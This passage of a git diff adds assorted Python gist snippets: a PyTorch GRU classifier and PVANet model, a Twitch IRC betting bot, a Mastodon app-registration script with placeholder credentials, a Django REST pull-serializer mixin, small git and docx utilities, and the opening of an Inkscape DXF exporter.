+		y_v = Variable(torch.from_numpy(y).long(), requires_grad=False)
+		loss = self.loss_f(y_pred, y_v)
+
+		classes = torch.topk(y_pred, 1)[1].data.numpy().flatten()
+		acc = self._accuracy(classes, y)
+		return loss.data[0], acc
+
+	def _accuracy(self, y_pred, y):
+		return sum(y_pred == y) / y.shape[0]
+
+	def predict(self, X):
+		X = Variable(torch.from_numpy(np.swapaxes(X,0,1)).float())		
+		y_pred = self.model(X, self.model.initHidden(X.size()[1]))
+		return y_pred		
+
+	def predict_classes(self, X):
+		return torch.topk(self.predict(X), 1)[1].data.numpy().flatten()
+
+
+
+class GRU(nn.Module):
+	def __init__(self, input_size, hidden_size, output_size):
+		super(GRU, self).__init__()
+
+		self.hidden_size = hidden_size
+
+		self.gru = nn.GRU(input_size, hidden_size)
+		self.linear = nn.Linear(hidden_size, output_size)
+
+	def forward(self, input, hidden):
+		_, hn = self.gru(input, hidden)
+		## from (1, N, hidden) to (N, hidden)
+		rearranged = hn.view(hn.size()[1], hn.size(2))
+		out1 = self.linear(rearranged)
+		return out1
+
+	def initHidden(self, N):
+		return Variable(torch.randn(1, N, self.hidden_size))
+
+def main():
+	class_size = 7
+
+	## Fake data
+	X = np.random.randn(DATA_SIZE * class_size, MAX_LEN, INPUT_SIZE)
+	y = np.array([i for i in range(class_size) for _ in range(DATA_SIZE)])
+
+	X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.2)
+
+	model = GRU(INPUT_SIZE, EMBEDDING_SIZE, class_size)
+	clf = Estimator(model)
+	clf.compile(optimizer=torch.optim.Adam(model.parameters(), lr=1e-4),
+				loss=nn.CrossEntropyLoss())
+	clf.fit(X_train, y_train, batch_size=BATCH_SIZE, nb_epoch=EPOCH,
+			validation_data=(X_test, y_test))
+	score, acc = clf.evaluate(X_test, y_test)
+	print('Test score:', score)
+	print('Test accuracy:', acc)
+
+	torch.save(model, 'model.pt')
+
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/ed991fb8cdcac3dfadf7/._snippet.py b/hard-gists/ed991fb8cdcac3dfadf7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ed991fb8cdcac3dfadf7/._snippet.py differ
diff --git a/hard-gists/ed991fb8cdcac3dfadf7/snippet.py b/hard-gists/ed991fb8cdcac3dfadf7/snippet.py
new file mode 100644
index 00000000..f13ab516
--- /dev/null
+++ b/hard-gists/ed991fb8cdcac3dfadf7/snippet.py
@@ -0,0 +1,13 @@
+import argpase
+import fileinput
+
+if __name__ == '__main__':
+    parser = ArgumentParser()
+    parser.add_argument('--dummy', help='dummy argument')
+    parser.add_argument('files', metavar='FILE', nargs='*', help='files to read, if empty, stdin is used')
+    args = parser.parse_args()
+
+    # If you would call fileinput.input() without files it would try to process all arguments.
+    # We pass '-' as only file when argparse got no files which will cause fileinput to read from stdin
+    for line in fileinput.input(files=args.files if len(args.files) > 0 else ('-', )):
+        print(line)
\ No newline at end of file
diff --git a/hard-gists/ede1aec7b3801eb08bc0/._snippet.py b/hard-gists/ede1aec7b3801eb08bc0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ede1aec7b3801eb08bc0/._snippet.py differ
diff --git a/hard-gists/ede1aec7b3801eb08bc0/snippet.py b/hard-gists/ede1aec7b3801eb08bc0/snippet.py
new file mode 100644
index 00000000..bd51d58e
--- /dev/null
+++ b/hard-gists/ede1aec7b3801eb08bc0/snippet.py
@@ -0,0 +1,56 @@
+from twisted.words.protocols import irc
+from twisted.internet import reactor, protocol, defer
+from twisted.python import log
+
+class BetBot(irc.IRCClient):
+
+    nickname = "INSERT YOUR TWITCH USERNAME"
+    password = "oauth: GENERATE YOUR OAUTH TWITCH TOKEN SOMEWHERE"
+    
+    def connectionMade(self):
+        irc.IRCClient.connectionMade(self)
+
+    def connectionLost(self, reason):
+        irc.IRCClient.connectionLost(self, reason)
+
+    def signedOn(self):
+        print "Signed on"
+        self.join(self.factory.channel)
+
+    def joined(self, channel):
+        print "Joined " + channel
+
+    def privmsg(self, user, channel, msg):
+        user = user.split('!', 1)[0]
+
+    def action(self, user, channel, msg):
+        user = user.split('!', 1)[0]
+        print user, msg
+        if "Place your bets!" in msg:
+            reply = "!bet combo 1%" # This is an example automatic bet - I like to bet only 1% to not get fucked by variance
+            self.msg(channel, reply)
+            print "Sent '" + reply + "' to " + channel
+
+
+class CobaltBetFactory(protocol.ClientFactory):
+
+    def __init__(self):
+        self.channel = "#bot_cobalt"
+
+    def buildProtocol(self, addr):
+        p = BetBot()
+        p.factory = self
+        return p
+
+    def clientConnectionLost(self, connector, reason):
+        connector.connect()
+
+    def clientConnectionFailed(self, connector, reason):
+        print "connection failed:", reason
+        reactor.stop()
+
+
+if __name__ == '__main__':
+    f = CobaltBetFactory()
+    reactor.connectTCP("irc.twitch.tv", 6667, f)
+    reactor.run()
diff --git a/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/._snippet.py b/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/._snippet.py differ
diff --git a/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/snippet.py b/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/snippet.py
new file mode 100644
index 00000000..d758baaa
--- /dev/null
+++ b/hard-gists/ede5b6b793f02bd966a6a7502c0a7fbf/snippet.py
@@ -0,0 +1,12 @@
+#!/usr/bin/env python
+from mastodon import Mastodon
+
+mastodon_url = "https://your.instance.com"
+mastodon_bot_login = "your-bot@email.address"
+mastodon_bot_password = "youR_B0t_P4ssw0rD"
+
+m_client_id, m_client_secret = Mastodon.create_app(client_name="serverstatus", api_base_url=mastodon_url)
+masto = Mastodon(client_id=m_client_id, client_secret=m_client_secret, api_base_url=mastodon_url)
+access_token = masto.log_in(mastodon_bot_login, mastodon_bot_password)
+
+print("client_id: " + m_client_id + "\nclient_secret: " + m_client_secret + "\naccess_token: " + access_token)
diff --git a/hard-gists/ee05163d448353af4c260c544db4d6b2/._snippet.py b/hard-gists/ee05163d448353af4c260c544db4d6b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ee05163d448353af4c260c544db4d6b2/._snippet.py differ
diff --git a/hard-gists/ee05163d448353af4c260c544db4d6b2/snippet.py b/hard-gists/ee05163d448353af4c260c544db4d6b2/snippet.py
new file mode 100644
index 00000000..c8385fa2
--- /dev/null
+++ b/hard-gists/ee05163d448353af4c260c544db4d6b2/snippet.py
@@ -0,0 +1,387 @@
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+from torch.nn.parameter import Parameter
+
+def debug(debug_open, x, layername):
+    if debug_open:
+        print x.size(), 'after', layername
+
+class PVANet(nn.Module):
+    def __init__(self, backend=None, debug=False):
+        super(PVANet, self).__init__()
+        self.conv1 = nn.Conv2d(3, 16, kernel_size=7, bias=False, stride=2, padding=3)
+        self.bn1 = nn.BatchNorm2d(16, affine=False)
+        
+        # self.scale1 = Parameter(torch.Tensor([1,0]))
+
+        self.relu1 = nn.ReLU(inplace=True)
+        self.pool1 = nn.MaxPool2d(3, stride=2, padding=1)
+
+        self.mcrelu2_1 = MCRelu(32, 24, 64, 3, restype=1, first=True)
+        self.mcrelu2_2 = MCRelu(64, 24, 64, 3)
+        self.mcrelu2_3 = MCRelu(64, 24, 64, 3)
+
+        self.mcrelu3_1_d = MCRelu(64, 48, 128, 3, stride=2, restype=1, dilation=2)
+        self.mcrelu3_2_d = MCRelu(128, 48, 128, 3, dilation=3)
+        self.mcrelu3_3_d = MCRelu(128, 48, 128, 3, dilation=2)
+        self.mcrelu3_4_d = MCRelu(128, 48, 128, 3, dilation=5)
+
+        self.incep4_1 = Inception(in_channels=128, out_channels=256, i3_out1=48, i3_out2=128, \
+                                  i5_out1=24, i5_out2=48, i5_out3=48, stride=2, pool_features=128)
+        self.incep4_2 = Inception(in_channels=256, out_channels=256, i3_out1=64, i3_out2=128, \
+                                  i5_out1=24, i5_out2=48, i5_out3=48)
+        self.incep4_3 = Inception(in_channels=256, out_channels=256, i3_out1=64, i3_out2=128, \
+                                  i5_out1=24, i5_out2=48, i5_out3=48)
+        self.incep4_4 = Inception(in_channels=256, out_channels=256, i3_out1=64, i3_out2=128, \
+                                  i5_out1=24, i5_out2=48, i5_out3=48)
+
+        self.incep5_1 = Inception(in_channels=256, out_channels=384, i3_out1=96, i3_out2=192, \
+                                  i5_out1=32, i5_out2=64, i5_out3=64, stride=2, pool_features=128)
+        self.incep5_2 = Inception(in_channels=384, out_channels=384, i3_out1=64, i3_out2=128, \
+                                  i5_out1=32, i5_out2=64, i5_out3=64)
+        self.incep5_3 = Inception(in_channels=384, out_channels=384, i3_out1=64, i3_out2=128, \
+                                  i5_out1=32, i5_out2=64, i5_out3=64)
+        self.incep5_4 = LastInception(in_channels=384, out_channels=384, i3_out1=64, i3_out2=128, \
+                                  i5_out1=32, i5_out2=64, i5_out3=64)
+
+        self.backend = backend
+        self.debug_open = debug
+
+    def forward(self, x):
+        x1 = self.conv1(x)
+        #debug(self.debug_open, x,'conv1')
+        x1 = self.bn1(x1)
+        x1 = torch.cat([x1, -x1],1)
+        # x = self.scale1[0].expand_as(x)*x+self.scale1[1].expand_as(x)
+        x1 = self.relu1(x1)
+        #self.debug(x1,'relu1')
+        x1 = self.pool1(x1)
+        #self.debug(x1,'pool1')
+
+        x1 = self.mcrelu2_1(x1)
+        #self.debug(x1,'mcrelu2_1')
+        x1 = self.mcrelu2_2(x1)
+        x1 = self.mcrelu2_3(x1)
+        #self.debug(x1,'mcrelu2_3')
+        
+        x2 = self.mcrelu3_1_d(x1)
+        x2 = self.mcrelu3_2_d(x2)
+        x2 = self.mcrelu3_3_d(x2)
+        x2 = self.mcrelu3_4_d(x2)
+        #self.debug(x2,'mcrelu3_3')
+
+        x3 = self.incep4_1(x2)
+        #self.debug(x3,'incep4_1')
+        x3 = self.incep4_2(x3)
+        x3 = self.incep4_3(x3)
+        x3 = self.incep4_4(x3)
+        #self.debug(x3,'incep4_4')
+
+        x = self.incep5_1(x3)
+        x = self.incep5_2(x)
+        x = self.incep5_3(x)
+        x = self.incep5_4(x)
+        #self.debug(x,'incep5_4')
+
+        if self.backend:
+            x = self.backend(x)
+            return x
+
+        else:
+            return [x, x1, x2, x3]
+
+
+class MCRelu(nn.Module):
+
+    def __init__(self, inchannel, midchannel, outchannel, ksize, stride=1, restype=0, first=False, dilation=1):
+        super(MCRelu, self).__init__()
+
+        self.bn = nn.BatchNorm2d(inchannel, affine=True)
+        self.relu = nn.ReLU(inplace=True)
+
+        self.conv1 = nn.Conv2d(inchannel, midchannel, kernel_size=1, stride=stride, bias=True)
+        self.bn1 = nn.BatchNorm2d(midchannel, affine=True)
+        self.relu1 = nn.ReLU(inplace=True)
+
+        self.conv2 = nn.Conv2d(midchannel, midchannel, kernel_size=ksize, \
+                               padding = dilation*(ksize-1)/2, bias=True, dilation=dilation)
+        self.bn2 = nn.BatchNorm2d(midchannel, affine=False)
+        self.scale2 = Parameter(torch.Tensor([1,0]))
+        self.relu2 = nn.ReLU(inplace=True)
+
+        self.conv3 = nn.Conv2d(midchannel*2, outchannel, kernel_size=1)
+
+        self.first = first
+        #restype : 1-proj(conv) 2-input(identi)
+        self.restype = restype
+        if restype == 1:
+            self.proj = nn.Conv2d(inchannel, outchannel, kernel_size=1, stride=stride)
+
+
+    def forward(self, x):
+        if self.restype == 1 and not self.first:
+            x = self.bn(x)
+            x = self.relu(x)
+            out = x
+        elif not self.first:
+            out = self.bn(x)
+            out = self.relu(out)
+        else:
+            out = x
+
+        out = self.conv1(out)
+        out = self.bn1(out)
+        out = self.relu1(out)
+
+        out = self.conv2(out)
+        out = self.bn2(out)
+        out = torch.cat([out, out*-1],1)
+        out = self.scale2[0].expand_as(out)*out+self.scale2[1].expand_as(out)
+        out = self.relu2(out)
+
+        out = self.conv3(out)
+        
+        if self.restype == 1:
+            out = out+self.proj(x)
+        else:
+            out = out+x
+
+        return out
+
+
+class InceptionBlock(nn.Module):
+
+    def __init__(self, in_channels, out_channels, i3_out1, i3_out2, \
+                 i5_out1, i5_out2, i5_out3, stride=1, pool_features=0):
+        super(InceptionBlock, self).__init__()
+
+        self.bn = nn.BatchNorm2d(in_channels, affine=True)
+        self.relu = nn.ReLU(inplace=True)
+
+        self.branch1x1 = BasicConv2d(in_channels, 64, kernel_size=1, stride=stride)
+
+        self.branch3x3_1 = BasicConv2d(in_channels, i3_out1, kernel_size=1)
+        self.branch3x3_2 = BasicConv2d(i3_out1, i3_out2, kernel_size=3, padding=1, stride=stride)
+
+        self.branch5x5_1 = BasicConv2d(in_channels, i5_out1, kernel_size=1)
+        self.branch5x5_2 = BasicConv2d(i5_out1, i5_out2, kernel_size=3, padding=1)
+        self.branch5x5_3 = BasicConv2d(i5_out2, i5_out3, kernel_size=3, padding=1, stride=stride)
+
+        self.pool = pool_features 
+        if self.pool > 0:
+            self.branch_pool = nn.MaxPool2d(3, stride=2, padding=1)
+            self.branch_pool_conv = BasicConv2d(in_channels, pool_features, kernel_size=1)
+
+            self.proj = nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=stride)
+
+        self.out_conv = nn.Conv2d(64+i3_out2+i5_out3+pool_features, out_channels, kernel_size=1)
+        
+
+    def forward(self, x):
+        pre = self.bn(x)
+        pre = self.relu(pre)
+
+        branch1x1 = self.branch1x1(pre)
+
+        branch3x3 = self.branch3x3_1(pre)
+        branch3x3 = self.branch3x3_2(branch3x3)
+
+        branch5x5 = self.branch5x5_1(pre)
+        branch5x5 = self.branch5x5_2(branch5x5)
+        branch5x5 = self.branch5x5_3(branch5x5)
+
+        if self.pool > 0:
+            branch_pool = self.branch_pool(pre)
+            branch_pool = self.branch_pool_conv(branch_pool)
+            outputs = [branch1x1, branch3x3, branch5x5, branch_pool]
+        else:
+            outputs = [branch1x1, branch3x3, branch5x5]
+        outputs = torch.cat(outputs, 1)
+        outputs = self.out_conv(outputs)
+        
+        if self.pool > 0:
+            return [outputs, self.proj(x)]
+        else:
+            return [outputs, x]
+
+class Inception(nn.Module):
+    def __init__(self, in_channels, out_channels, i3_out1, i3_out2, \
+                 i5_out1, i5_out2, i5_out3, stride=1, pool_features=0):
+        super(Inception, self).__init__()
+        
+        self.inceptionblock = InceptionBlock(in_channels, out_channels, i3_out1, i3_out2, \
+                                             i5_out1, i5_out2, i5_out3, stride, pool_features)
+
+    def forward(self, x):
+        out1, out2 = self.inceptionblock(x)
+        out1 = out1+out2
+        return out1
+
+class LastInception(nn.Module):
+    def __init__(self, in_channels, out_channels, i3_out1, i3_out2, \
+                 i5_out1, i5_out2, i5_out3, stride=1, pool_features=0):
+        super(LastInception, self).__init__()
+        self.inceptionblock = InceptionBlock(in_channels, out_channels, i3_out1, i3_out2, \
+                                             i5_out1, i5_out2, i5_out3, stride, pool_features)
+        self.bn1 = nn.BatchNorm2d(out_channels, affine=True)
+
+        self.bn2 = nn.BatchNorm2d(out_channels, affine=True)
+        self.relu = nn.ReLU(inplace=True)
+    
+    def forward(self, x):
+        out1, out2 = self.inceptionblock(x)
+        out1 = self.bn1(out1)
+
+        out1 = out1+out2
+        out1 = self.bn2(out1)
+        out1 = self.relu(out1)
+
+        return out1 
+
+class BasicConv2d(nn.Module):
+
+    def __init__(self, in_channels, out_channels, **kwargs):
+        super(BasicConv2d, self).__init__()
+        self.conv = nn.Conv2d(in_channels, out_channels, bias=False, **kwargs)
+        self.bn = nn.BatchNorm2d(out_channels, eps=0.001)
+
+    def forward(self, x):
+        x = self.conv(x)
+        x = self.bn(x)
+        return F.relu(x, inplace=True)
+
+
+class clsBackend(nn.Module):
+
+    def __init__(self, in_channels, mid_channels, out_channels):
+        super(clsBackend, self).__init__()
+        self.fc4 = nn.Linear(in_channels, mid_channels)
+        self.bn4 = nn.BatchNorm1d(mid_channels)
+        self.dropout4 = nn.Dropout()
+
+        self.fc5 = nn.Linear(mid_channels, out_channels)
+        #self.bn2 = nn.BatchNorm1d(mid_channels)
+        #self.dropout2 = nn.Dropout()
+
+        #self.fc3 = nn.Linear(mid_channels, out_channels)
+        #self.directfc = nn.Linear(in_channels, out_channels)
+
+
+    def forward(self, x):  
+        out = x.view(x.size(0), -1)
+        out = self.fc4(out)
+        out = self.bn4(out)
+        out = self.dropout4(out)
+        out = self.fc5(out)
+        #out = self.bn2(out)
+        #out = self.dropout2(out)
+        #out = self.fc3(out)
+        #out = self.directfc(out)
+
+        return out
+
+
+
+
+class PVA_FCN(nn.Module):
+    def __init__(self, pvamodel, debug=False):
+        super(PVA_FCN, self).__init__()
+        self.debug_open = debug
+
+        self.pvamodel = pvamodel
+        self.up7_14 = UpBlocks(384, 192)
+        self.up14_28 = UpBlocks(192, 96)
+        self.up28_56 = UpBlocks(96, 48)
+        self.up56_112 = UpBlocks(48, 24)
+        self.up112_224 = UpBlocks(24, 12)
+
+        # with conv4_4
+        self.reduceconv4 = nn.Conv2d(256, 192, kernel_size=1)
+        # with conv3_4
+        self.reduceconv3 = nn.Conv2d(128, 96, kernel_size=1)
+        # with conv2_3
+        self.reduceconv2 = nn.Conv2d(64, 48, kernel_size=1)
+
+        #output layers -- fcn
+        self.out224 = nn.Conv2d(12, 2, kernel_size=1)
+
+        self.conv112 = nn.Conv2d(24, 2, kernel_size=1)
+        self.out112 = nn.UpsamplingNearest2d(scale_factor=2)
+
+        #output layers -- parameter
+        self.pconv56_224 = nn.ConvTranspose2d(48, 32, 3, stride=(1, 4), padding=1, output_padding=(0, 3))
+        self.pconv7_224 = nn.Conv2d(32, 24, kernel_size=(15, 3), stride=(8, 1), padding=(7, 1))
+        self.pbn7_224 = nn.BatchNorm2d(24)
+        self.prelu7_224 = nn.ReLU(inplace=True)
+        self.pout56 = nn.Conv2d(24, 1, kernel_size=(7, 3), padding=(0,1))
+
+        self.pconv112_224 = nn.ConvTranspose2d(24, 24, 3, stride=(1, 2), padding=1, output_padding=(0, 1))
+        self.pconv14_224 = nn.Conv2d(24, 16, kernel_size=(15, 3), stride=(8, 1), padding=(7, 1))
+        self.pbn14_224 = nn.BatchNorm2d(16)
+        self.prelu14_224 = nn.ReLU(inplace=True)
+        self.pout224 = nn.Conv2d(16, 1, kernel_size=(14, 3), padding=(0,1))
+
+    def forward(self, x):
+        out, conv2_3, conv3_4, conv4_4 = self.pvamodel(x)
+        debug(self.debug_open, out, 'after pva model')
+        out = self.up7_14(out)
+        conv4_4 = self.reduceconv4(conv4_4)
+        out = out + conv4_4
+        out = self.up14_28(out)
+        conv3_4 = self.reduceconv3(conv3_4)
+        out = out + conv3_4
+        out = self.up28_56(out)
+        debug(self.debug_open, out, '28_to_56')
+        ##out 56 param branch
+        # pout56 = self.pconv56_224(out)
+        # pout56 = self.pconv7_224(pout56)
+        # pout56 = self.pbn7_224(pout56)
+        # pout56 = self.prelu7_224(pout56)
+        # pout56 = self.pout56(pout56)
+
+        conv2_3 = self.reduceconv2(conv2_3)
+        out = out + conv2_3
+        out = self.up56_112(out)
+        debug(self.debug_open, out, '56_to_112')
+        ##out 112 branch
+        # out112 = self.conv112(out)
+        # out112 = self.out112(out112)
+
+        ##out 224 branch
+        out224 = self.up112_224(out)
+        out224 = self.out224(out224)
+        debug(self.debug_open, out224, 'final out 224')
+        ##out 224 param branch
+        # pout224 = self.pconv112_224(out)
+        # pout224 = self.pconv14_224(pout224)
+        # pout224 = self.pbn14_224(pout224)
+        # pout224 = self.prelu14_224(pout224)
+        # pout224 = self.pout224(pout224)
+
+        #return [out112, out224, pout56, pout224]
+        return out224
+
+
+#fcn backend
+class UpBlocks(nn.Module):
+    def __init__(self, in_channels, out_channels, scale=2):
+        super(UpBlocks, self).__init__()
+
+        self.upsample = nn.ConvTranspose2d(in_channels, out_channels, 3, stride=scale, padding=1, output_padding=scale-1)
+        self.bn = nn.BatchNorm2d(out_channels)
+        self.relu = nn.ReLU(inplace=True)
+
+    def forward(self, x):
+        out = self.upsample(x)
+        out = self.bn(out)
+        out = self.relu(out)
+        return out 
+
+
+
+def PVA_Imagenet1k():
+    #input size = 224*224
+    backend = clsBackend(384*(224/32)**2, 2048, 1000)
+    model = PVANet(backend, False)
+    return model
diff --git a/hard-gists/ee837b44613ce93064aa/._snippet.py b/hard-gists/ee837b44613ce93064aa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ee837b44613ce93064aa/._snippet.py differ
diff --git a/hard-gists/ee837b44613ce93064aa/snippet.py b/hard-gists/ee837b44613ce93064aa/snippet.py
new file mode 100644
index 00000000..f91cfaf8
--- /dev/null
+++ b/hard-gists/ee837b44613ce93064aa/snippet.py
@@ -0,0 +1,156 @@
+import six
+from rest_framework import serializers, exceptions, parsers
+
+
+class PullSerializerMixin(object):
+    pull_model = None
+
+    def __init__(self, *args, **kwargs):
+        self.pull_model = kwargs.pop('pull_model', self.pull_model)
+        super(PullSerializerMixin, self).__init__(*args, **kwargs)
+
+    def get_pull_model(self):
+        if not self.pull_model:
+            raise NotImplementedError("pull_model not specified")
+        return self.pull_model
+
+
+def pull_fields(pull_spec):
+    """
+    identify fields required at root of pull spec
+    """
+    fields = []
+    for item in pull_spec:
+        if isinstance(item, dict):
+            for k in item.iterkeys():
+                fields.append(k)
+        elif isinstance(item, basestring):
+            fields.append(item)
+        else:
+            raise AssertionError("Expected dicts and strings, got {}".format(item))
+    return set(fields)
+
+
+def pull_field_spec(pull_spec, field_name):
+    """
+    Looks for recursive field definition in pull spec.
+
+    Match is dict key of field_name, associated value is field pull spec.
+    """
+    for item in pull_spec:
+        if isinstance(item, dict):
+            for k, v in item.iteritems():
+                if field_name == k:
+                    return v
+
+
+def select_keys(m, ks):
+    """
+    Destructively select keys on map, uses m.pop(k).
+    """
+    for k in set(m.keys()) - set(ks):
+        m.pop(k)
+
+
+class PullMixin(object):
+    """
+    Pull API integration.  Serializer fields will be filtered
+    based on the recursive pull spec provided as query param.
+
+    TODO: This seems to cause a conflict with setting metadata_class
+    which I'm yet to investigate.
+    """
+
+    serializer_pull_field_mapping = {}
+    default_pull_parser = parsers.JSONParser
+    pull_allowed_methods = ['GET']
+
+    def pull_parser(self):
+        for parser in self.request.parsers:
+            if parser.media_type == self.request.accepted_media_type:
+                return parser
+        return self.default_pull_parser
+
+    @property
+    def pull_spec(self):
+        if not hasattr(self, "_pull"):
+            self._pull = None
+            if 'pull' in self.request.query_params:
+                try:
+                    parser_class = self.pull_parser()
+                    self._pull = parser_class().parse(
+                        six.StringIO(self.request.query_params['pull'])
+                    )
+                except ValueError as e:
+                    pass
+        return self._pull
+
+    def get_serializer(self, *args, **kwargs):
+        serializer = super(PullMixin, self).get_serializer(*args, **kwargs)
+        if self.pull_spec and self.request.method in self.pull_allowed_methods:
+            self.recursive_select_keys(serializer, self.pull_spec)
+        return serializer
+
+    def get_pull_serializer(self, model, *args, **kwargs):
+        """
+        Return the serializer instance that should be used for serializing model.
+        """
+        serializer_class = self.get_pull_serializer_class(model)
+        return serializer_class(*args, **kwargs)
+
+    def get_pull_serializer_class(self, model):
+        """
+        Return the class to use for the model serializer.
+        Defaults to using `self.pull_serializer_class`.
+        """
+
+        if model in self.serializer_pull_field_mapping:
+            return self.serializer_pull_field_mapping[model]
+
+        raise exceptions.PermissionDenied(
+            "Model not whitelisted for pull: {}"
+                .format(model._meta))
+
+    def recursive_select_keys(self, serializer, pull_spec):
+        """
+        Destructively and recursively filter serializer fields
+        based on pull_spec
+        """
+
+        if not pull_spec: return
+
+        if isinstance(serializer, serializers.ListSerializer):
+            serializer = serializer.child
+
+        spec_fields = pull_fields(pull_spec)
+        if not "*" in spec_fields:
+            select_keys(serializer.fields, spec_fields)
+
+        for field_name, field in serializer.fields.iteritems():
+            field_spec = pull_field_spec(pull_spec, field_name)
+
+            if field_spec and isinstance(field, serializers.ManyRelatedField):
+
+                child = field.child_relation
+
+                if isinstance(child, PullSerializerMixin):
+                    model = child.get_pull_model()
+                    field = self.get_pull_serializer(model, read_only=True, many=True)
+                    serializer.fields[field_name] = field
+                elif child.queryset is None:
+                    raise exceptions.NotAcceptable(
+                        "Unable to resolve pull serializer on ManyRelatedField which have no queryset. "
+                        "Try using the PullSerializerMixin to specify reverse relations. "
+                    )
+                else:
+                    model = child.queryset.model
+                    field = self.get_pull_serializer(model, read_only=True, many=True)
+                    serializer.fields[field_name] = field
+
+            elif field_spec and isinstance(field, serializers.RelatedField):
+
+                model = field.queryset.model
+                field = self.get_pull_serializer(model, read_only=True)
+                serializer.fields[field_name] = field
+
+            self.recursive_select_keys(field, field_spec)
diff --git a/hard-gists/ee8c85ff0462ec6105b2/._snippet.py b/hard-gists/ee8c85ff0462ec6105b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ee8c85ff0462ec6105b2/._snippet.py differ
diff --git a/hard-gists/ee8c85ff0462ec6105b2/snippet.py b/hard-gists/ee8c85ff0462ec6105b2/snippet.py
new file mode 100644
index 00000000..b48d9237
--- /dev/null
+++ b/hard-gists/ee8c85ff0462ec6105b2/snippet.py
@@ -0,0 +1,5 @@
+import git
+
+def clone(cls, directory, url, depth=3):
+    return git.Repo.clone_from(url, directory, depth=depth)
+
diff --git a/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/._snippet.py b/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/._snippet.py differ
diff --git a/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/snippet.py b/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/snippet.py
new file mode 100644
index 00000000..1f342188
--- /dev/null
+++ b/hard-gists/ee8edb61a4aba40ce2fc653e12cd5e69/snippet.py
@@ -0,0 +1,26 @@
+import os
+from docx import Document
+import uuid
+
+def getDocList(rootFoldr):
+    filelst = []
+
+    for(dirpath, _, files) in os.walk(rootFoldr):
+        for filename in files:
+            filepath = os.path.join(dirpath, filename)
+            filelst.append(filepath)
+    return (filelst)
+
+
+def convertToDocx(rootFoldr):
+    flst = getDocList(rootFoldr)
+
+    for each_file in flst:
+        #each_file.encode('utf-8')
+        with open(each_file, 'r') as rdcontent:
+            xdoc = Document()
+            xdoc.add_paragraph('{}'.format(rdcontent.readlines()))
+            xdoc.save('{}/{}.docx'.format(os.path.dirname(os.path.realpath(each_file)),uuid.uuid4()))
+            print ("{}  converted to docx".format(each_file))
+
+convertToDocx('data/')
diff --git a/hard-gists/ee9151b0ad985ca348cd/._snippet.py b/hard-gists/ee9151b0ad985ca348cd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ee9151b0ad985ca348cd/._snippet.py differ
diff --git a/hard-gists/ee9151b0ad985ca348cd/snippet.py b/hard-gists/ee9151b0ad985ca348cd/snippet.py
new file mode 100644
index 00000000..14ee167e
--- /dev/null
+++ b/hard-gists/ee9151b0ad985ca348cd/snippet.py
@@ -0,0 +1,163 @@
+#!/usr/bin/env python
+'''
+Copyright (C) 2005,2007 Aaron Spike, aaron@ekips.org
+- template dxf_outlines.dxf added Feb 2008 by Alvin Penner, penner@vaxxine.com
+- layers, transformation, flattening added April 2008 by Bob Cook, bob@bobcookdev.com
+- improved layering support added Feb 2009 by T. R. Gipson, drmn4ea at google mail
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+'''
+import inkex, simplepath, simpletransform, cubicsuperpath, cspsubdiv, dxf_templates_b2, re
+
+class MyEffect(inkex.Effect):
+
+    def __init__(self):
+
+        inkex.Effect.__init__(self)
+        self.dxf = ''
+        self.handle = 255
+        self.flatness = 0.1
+
+    def output(self):
+        print self.dxf
+
+    def dxf_add(self, str):
+        self.dxf += str
+
+    def dxf_insert_code(self, code, value):
+        self.dxf += code + "\n" + value + "\n"
+
+    def dxf_line(self,layer,csp):
+        self.dxf_insert_code(   '0', 'LINE' )
+        self.dxf_insert_code(   '8', layer )
+        self.dxf_insert_code(  '62', '4' )
+        self.dxf_insert_code(   '5', '%x' % self.handle )
+        self.dxf_insert_code( '100', 'AcDbEntity' )
+        self.dxf_insert_code( '100', 'AcDbLine' )
+        self.dxf_insert_code(  '10', '%f' % csp[0][0] )
+        self.dxf_insert_code(  '20', '%f' % csp[0][1] )
+        self.dxf_insert_code(  '30', '0.0' )
+        self.dxf_insert_code(  '11', '%f' % csp[1][0] )
+        self.dxf_insert_code(  '21', '%f' % csp[1][1] )
+        self.dxf_insert_code(  '31', '0.0' )
+
+    def dxf_point(self,layer,x,y):
+        self.dxf_insert_code(   '0', 'POINT' )
+        self.dxf_insert_code(   '8', layer )
+        self.dxf_insert_code(  '62', '4' )
+        self.dxf_insert_code(   '5', '%x' % self.handle )
+        self.dxf_insert_code( '100', 'AcDbEntity' )
+        self.dxf_insert_code( '100', 'AcDbPoint' )
+        self.dxf_insert_code(  '10', '%f' % x )
+        self.dxf_insert_code(  '20', '%f' % y )
+        self.dxf_insert_code(  '30', '0.0' )
+
+    def dxf_path_to_lines(self,layer,p):
+        f = self.flatness
+        is_flat = 0
+        while is_flat < 1:
+            try:
